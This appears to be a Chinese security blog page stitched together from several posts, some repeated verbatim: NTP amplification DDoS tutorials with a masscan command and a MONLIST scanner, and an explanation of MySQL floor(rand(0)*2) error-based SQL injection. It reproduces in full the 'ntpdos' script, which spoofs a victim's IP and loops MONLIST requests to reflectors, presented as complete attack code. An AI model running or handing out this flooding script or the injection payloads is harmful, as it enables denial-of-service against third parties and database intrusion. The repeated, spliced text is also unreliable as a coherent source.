2016年4月

NTP放大攻击其实就是DDoS的一种。通过NTP服务器,可以把很小的请求变成很大的响应,这些响应可以直接指向到受害者的电脑。下面是python实现脚本,脚本只供测试和学习。

masscan是一个快速的端口扫描器

1.安装masscan

https://github.com/robertdavidgraham/masscan

2.扫描IP段端口,生成文件

./masscan -pU:123 -oX ntp.xml --rate 160000 101.0.0.0-120.0.0.0

3.去掉重复,生成新文件

from lxml import etree
port = None
address = None
parsedServers = []
#Opens the file used to store single enteries.
outputFile = open('port123.txt', 'a')
for event, element in etree.iterparse('ntp.xml', tag="host"):
for child in element:
if child.tag == 'address':
address = child.attrib['addr']
if child.tag == 'ports':
for a in child:
port = a.attrib['portid']
if port > 1 and address > 1:
if address not in parsedServers:
print address
outputFile.write(address + '\n')
parsedServers.append(address)
port = None
address = None
element.clear()
outputFile.close()
print 'End'

4.完整攻击代码

from scapy.all import *
import thread
rawData = "\x17\x00\x03\x2a" + "\x00" * 61
logfile = open('port123.txt', 'r')
outputFile = open('monlistServers.txt', 'a')
def sniffer():
sniffedPacket = sniff(filter="udp port 48769 and dst net 99.99.99.99", store=0, prn=analyser)

def analyser(packet):
if len(packet) > 200:
if packet.haslayer(IP):
print packet.getlayer(IP).src
outputFile.write(packet.getlayer(IP).src + '\n')

thread.start_new_thread(sniffer, ())

for address in logfile:
send(IP(dst=address)/UDP(sport=48769, dport=123)/Raw(load=rawData))
print 'End'

https://github.com/vpnguy/ntpdos

#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#by DaRkReD
#usage ntpdos.py ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY

#packet sender
def deny():
#Import globals to function
global ntplist
global currentserver
global data
global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT

#So I dont have to have the same stuff twice
def printhelp():
print "NTP Amplification DOS Attack"
print "By DaRkReD"
print "Usage ntpdos.py "
print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
print "NTP serverlist file should contain one IP per line"
print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
exit(0)

if len(sys.argv) < 4:
printhelp()
#Fetch Args
target = sys.argv[1]

#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
printhelp()

ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
ntplist = f.readlines()

#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
print "Attack Aborted: More threads than servers"
print "Next time dont create more threads than servers"
exit(0)

#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4

#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"

#Thread spawner
for n in range(numberthreads):
thread = threading.Thread(target=deny)
thread.daemon = True
thread.start()

threads.append(thread)

#In progress!
print "Sending..."

#Keep alive so ctrl+c still kills all them threads
while True:
time.sleep(1)

0x00 疑问

一直在用mysql数据库报错注入方法,但为何会报错?

百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理。

0x01 位置问题?

select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,floor 都是直接放count(*) 后面,为了排除干扰,我们直接对比了两个报错语句,如下图

由上面的图片,可以知道报错跟位置无关。

0x02 绝对报错还是相对报错?

是不是报错语句有了floor(rand(0)*2)以及其他几个条件就一定报错?其实并不是如此,我们先建建个表,新增一条记录看看,如下图:

确认表中只有一条记录后,再执行报错语句看看,如下图:

多次执行均未发现报错。

然后我们新增一条记录。

然后再测试下报错语句

多次执行并没有报错

OK 那我们再增加一条

执行报错语句

ok 成功报错

由此可证明floor(rand(0)*2)报错是有条件的,记录必须3条以上,而且在3条以上必定报错,到底为何?请继续往下看。

0x03 随机因子具有决定权么(rand()和rand(0))

为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看,先看一条记录的时候,如下图:

一条记录的话 无论执行多少次也不报错

然后增加一条记录。

两条记录的话 结果就变成不确定性了

随机出现报错。

然后再插入一条

三条记录之后,也和2条记录一样进行随机报错。

由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand(),有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)的时候在两条的时候不报错,在三条以上就绝对报错?我们继续往下看。

0x04 不确定性与确定性

前面说过,floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从0x03我们大致可以猜想到,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

为了证明我们猜想,分别对floor(rand()*2)和floor(rand(0)*2)在多记录表中执行多次(记录选择10条以上),在有12条记录表中执行结果如下图:

连续3次查询,毫无规则,接下来看看select floor(rand(0)*2) from `T-Safe`;,如下图:

可以看到floor(rand(0)*2)是有规律的,而且是固定的,这个就是上面提到的由于是确定性才导致的报错,那为何会报错呢,我们接着往下看。

0x05 count与group by的虚拟表

使用select count(*) from `T-Safe` group by x;这种语句的时候我们经常可以看到下面类似的结果:

可以看出 test12的记录有5条

与count(*)的结果相符合,那么mysql在遇到select count(*) from TSafe group by x;这语句的时候到底做了哪些操作呢,我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

先建立虚拟表,如下图(其中key是主键,不可重复):

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。

0x06 floor(rand(0)*2)报错

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

1.查询前默认会建立空虚拟表如下图:

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

0x07 floor(rand()*2)报错

由0x05我们可以同样推理出不加入随机因子的情况,由于没加入随机因子,所以floor(rand()*2)是不可测的,因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:

当前面记录让虚表长成这样子后,由于不管查询多少条记录,floor(rand()*2)的值在虚表中都能找到,所以不会被再次计算,只是简单的增加count(*)字段的数量,所以不会报错,比如floor(rand(1)*2),如图:

在前两条记录查询后,虚拟表已经存在0和1两个键值了,所以后面再怎么弄还是不会报错。

总之报错需要count(*),rand()、group by,三者缺一不可。

NTP 漏洞相关的文章在 Drops 已经有过了,并且不止一篇,之所以又翻译了这一片文章,是觉得文章的整体思路很不错,希望对看这篇文章的你有所帮助。

BTW:本文翻译比较随意,但是并没有破坏原文含义。

0x00 简介

NTP 放大攻击其实就是 DDoS 的一种。通过 NTP 服务器,可以把很小的请求变成很大的响应,这些响应可以直接指向到受害者的电脑。

NTP 放大使用的是 MONLIST 命令。MONLIST 命令会让 NTP 服务器返回使用 NTP 服务的最后 600 个 客户端 IP。通过一个有伪造源地址的 NTP 请求,NTP 服务器会将响应返回给那个伪造的 IP 地址。你可以想象,如果我们伪造受害者的 IP 对大量的 NTP 服务器发送 MONLIST 请求,这将形成 DOS 攻击。

显然我们不能容忍这样做,但我比较有兴趣的是去发现有多少 NTP 服务器能够发大这种数据。他不是什么新的攻击,所以你希望不会有太多的 NTP 服务器支持 MONLIST 命令。

0x01 如何去做

为了确定有多少 NTP 服务器响应 MONLIST 请求,我会通过两个独立的部分去做。

第一部分

在第一部分,通过 masscan 工具,对 UDP 的 123 端口进行扫描,扫描结果保存到 ntp.xml 文件中,命令如下:

./masscan -pU:123 -oX ntp.xml --rate 160000 101.0.0.0-120.0.0.0
由于我的服务器带宽比较小,如果选择全网扫描,肯定会较慢,所以我随机的选择了一个 IP 段:101.0.0.0-120.0.0.0。

扫描完成后,会把 UDP 123 端口开放的设备保存在 XML 文件中。不知道什么原因,我的扫描结果 xml 文件中包含了许多重复的记录,我写了一个 python 脚本用于处理这些重复的记录,去重后的结果会保存到 port123.txt 文件中。

代码如下:

from lxml import etree
port = None
address = None
parsedServers = []
#Opens the file used to store single enteries.
outputFile = open('port123.txt', 'a')
#Iterates through the masscan XML file.
for event, element in etree.iterparse('ntp.xml', tag="host"):
for child in element:
if child.tag == 'address':
#Assigns the current iterations address to the address variable.
address = child.attrib['addr']
if child.tag == 'ports':
for a in child:
#Assigns the current iterations port to the port variable.
port = a.attrib['portid']
#is both port and IP address are present.
if port > 1 and address > 1:
#If the IP hasnt yet been added to the output file.
if address not in parsedServers:
print address
#Write the IP address to the file.
outputFile.write(address + '\n')
#write the IP to the parsedServers list
parsedServers.append(address)
port = None
address = None
element.clear()
outputFile.close()
print 'End'
这个脚本运行后,port123.txt 文件中包含开放 UDP 123 端口并且去重后的所有 IP。

第二部分

在第二部分中我们主要来确定 port123.txt 中的 IP 的 123 端口是否运行 NTP 服务,如果是 NTP 服务,是否响应 MONLIST 请求。

我写了一个 python 脚本来实现上面的需求,主要用到 scapy 库。

首先我导入我脚本需要的所有库,并且定义一些变量:

from scapy.all import *
import thread
然后我构造了发给 NTP 服务器的 MONLIST 请求的原始数据。在这个过程中我发现请求的数据必须达到一定的值服务器才会返回数据,具体原因不清楚。只要请求超过 60 字节,服务器就会返回数据,因此我下面的代码中有 61 个\x00 字符。

rawData = "\x17\x00\x03\x2a" + "\x00" * 61
在 python 脚本中我打开了两个文件:port123.txt 是 masscan 发现的开放 UDP 123 端口的 IP 地址,monlistServers.txt 是用于保存支持 MONLIST 命令的 NTP 服务器。

logfile = open('port123.txt', 'r')
outputFile = open('monlistServers.txt', 'a')
然后我定义了一个叫 sniffer 的函数,这个函数的作用主要就是监听在 48769 端口上的 UDP 数据,这个端口是发送 MONLIST 请求的源端口,只要任何 NTP 服务器响应 MONLIST 请求,都将响应到这个端口上。目标网络地址是你的 IP 地址,NTP 服务器的响应将返回到这个 IP 上,在本文中,我讲设置这个 IP 为:99.99.99.99。

def sniffer():
sniffedPacket = sniff(filter="udp port 48769 and dst net 99.99.99.99", store=0, prn=analyser)
任何符合 UDP 端口 48769 的数据包都会被捕获到,并且会放到 analyser 函数中,稍后我讲介绍 analyser 函数。

sniffer 定义好了,并且会在线程中执行,同时会放到后台运行。

thread.start_new_thread(sniffer, ())
接下来,我遍历 masscan 发现的所有 IP 地址。对于每个 IP 地址我都会发送一个源端口为 48769,目的端口是 123 的 UDP 数据包,数据包就是我们前面构造的 rawData。实际上这个就是对所有的 IP 发送 MONLIST 请求。

for address in logfile:
send(IP(dst=address)/UDP(sport=48769, dport=123)/Raw(load=rawData))
只要有 NTP 服务器响应 MONLIST 请求,这个响应数据将会被运行在线程中 sniffer 抓取,sniffer 会把所有接收到的数据放到 analyser 函数中处理,而 analyser 函数会检查捕获到的数据包,并且确定包的大小超过 200 字节。在实际的测试中我发现,如果 NTP 服务器不响应 MONLIST 请求,响应包的大小通常在 60-90 字节,或者不存在响应包。如果 NTP 服务器响应 MONLIST 请求,响应包就会比较大,一般包含多个响应包,通常每个包为 480 字节。所以只要检查到所接收的响应包是大于 200 字节就表示该 NTP 服务器支持 MONLIST 请求。最后我们会把响应包大约 200 字节的 IP 地址写入到 outputFile。

if len(packet) > 200:
if packet.haslayer(IP):
outputFile.write(packet.getlayer(IP).src + '\n')
通常如果 NTP 服务器支持 MONLIST 请求,那么它将会返回多个数据包用于包含使用 NTP 服务的 IP 地址。因为 sniffer 会捕捉所有符合条件的数据包,所以 outputFile 文件中将会有许多重复的数据。我通过 sort 和 uniq 命令来对 outputFile 文件进行去重。

sort monlistServers.txt | uniq
这个结果文件中包含所有支持 MONLIST 命令的 NTP 服务器。

完整的 python 脚本如下:

from scapy.all import *
import thread
#Raw packet data used to request Monlist from NTP server
rawData = "\x17\x00\x03\x2a" + "\x00" * 61
#File containing all IP addresses with NTP port open.
logfile = open('output.txt', 'r')
#Output file used to store all monlist enabled servers
outputFile = open('monlistServers.txt', 'a')
def sniffer():
#Sniffs incomming network traffic on UDP port 48769, all packets meeting thease requirements run through the analyser function.
sniffedPacket = sniff(filter="udp port 48769 and dst net 99.99.99.99", store=0, prn=analyser)

def analyser(packet):
#If the server responds to the GET_MONLIST command.
if len(packet) > 200:
if packet.haslayer(IP):
print packet.getlayer(IP).src
#Outputs the IP address to a log file.
outputFile.write(packet.getlayer(IP).src + '\n')

thread.start_new_thread(sniffer, ())

for address in logfile:
#Creates a UDP packet with NTP port 123 as the destination and the MON_GETLIST payload.
send(IP(dst=address)/UDP(sport=48769, dport=123)/Raw(load=rawData))
print 'End'
0x02 最后

正如我前面所提到的,我的带宽实在是太小了,所以我只能够选择一个 IP 段:101.0.0.0-120.0.0.0。如果我的数学不是体育老师教的话,那么我应该不会算错,这个 IP 段内包含 318,767,104 个 IP 地址(19256256)。

masscan 发现 253,994 个设备开放了 UDP 的 123 端口,占了扫描 IP 的 0.08%。

在 253,994 个设备中,支持 MONLIST 命令的设备有 7005 个,占比为 2.76%。

如果按照这个比例进行换算的话,那个整个互联网上将有 91,000 台开启 MONLIST 功能的 NTP 服务器。

over!

NTP放大攻击其实就是DDoS的一种。通过NTP服务器,可以把很小的请求变成很大的响应,这些响应可以直接指向到受害者的电脑。下面是python实现脚本,脚本只供测试和学习。

masscan是一个快速的端口扫描器

1.安装masscan

https://github.com/robertdavidgraham/masscan
2.扫描IP段端口,生成文件

./masscan -pU:123 -oX ntp.xml --rate 160000 101.0.0.0-120.0.0.0

3.去掉重复,生成新文件

from lxml import etree
port = None
address = None
parsedServers = []
#Opens the file used to store single enteries.
outputFile = open('port123.txt', 'a')
for event, element in etree.iterparse('ntp.xml', tag="host"):
for child in element:
if child.tag == 'address':
address = child.attrib['addr']
if child.tag == 'ports':
for a in child:
port = a.attrib['portid']
if port > 1 and address > 1:
if address not in parsedServers:
print address
outputFile.write(address + '\n')
parsedServers.append(address)
port = None
address = None
element.clear()
outputFile.close()
print 'End'
4.完整攻击代码

from scapy.all import *
import thread
rawData = "\x17\x00\x03\x2a" + "\x00" * 61
logfile = open('port123.txt', 'r')
outputFile = open('monlistServers.txt', 'a')
def sniffer():
sniffedPacket = sniff(filter="udp port 48769 and dst net 99.99.99.99", store=0, prn=analyser)

def analyser(packet):
if len(packet) > 200:
if packet.haslayer(IP):
print packet.getlayer(IP).src
outputFile.write(packet.getlayer(IP).src + '\n')

thread.start_new_thread(sniffer, ())

for address in logfile:
send(IP(dst=address)/UDP(sport=48769, dport=123)/Raw(load=rawData))
print 'End'
https://github.com/vpnguy/ntpdos

#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#by DaRkReD
#usage ntpdos.py ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY

#packet sender
def deny():
#Import globals to function
global ntplist
global currentserver
global data
global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT

#So I dont have to have the same stuff twice
def printhelp():
print "NTP Amplification DOS Attack"
print "By DaRkReD"
print "Usage ntpdos.py "
print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
print "NTP serverlist file should contain one IP per line"
print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
exit(0)

if len(sys.argv) < 4:
printhelp()
#Fetch Args
target = sys.argv[1]

#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
printhelp()

ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
ntplist = f.readlines()

#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
print "Attack Aborted: More threads than servers"
print "Next time dont create more threads than servers"
exit(0)

#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4

#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"

#Thread spawner
for n in range(numberthreads):
thread = threading.Thread(target=deny)
thread.daemon = True
thread.start()

threads.append(thread)

#In progress!
print "Sending..."

#Keep alive so ctrl+c still kills all them threads
while True:
time.sleep(1)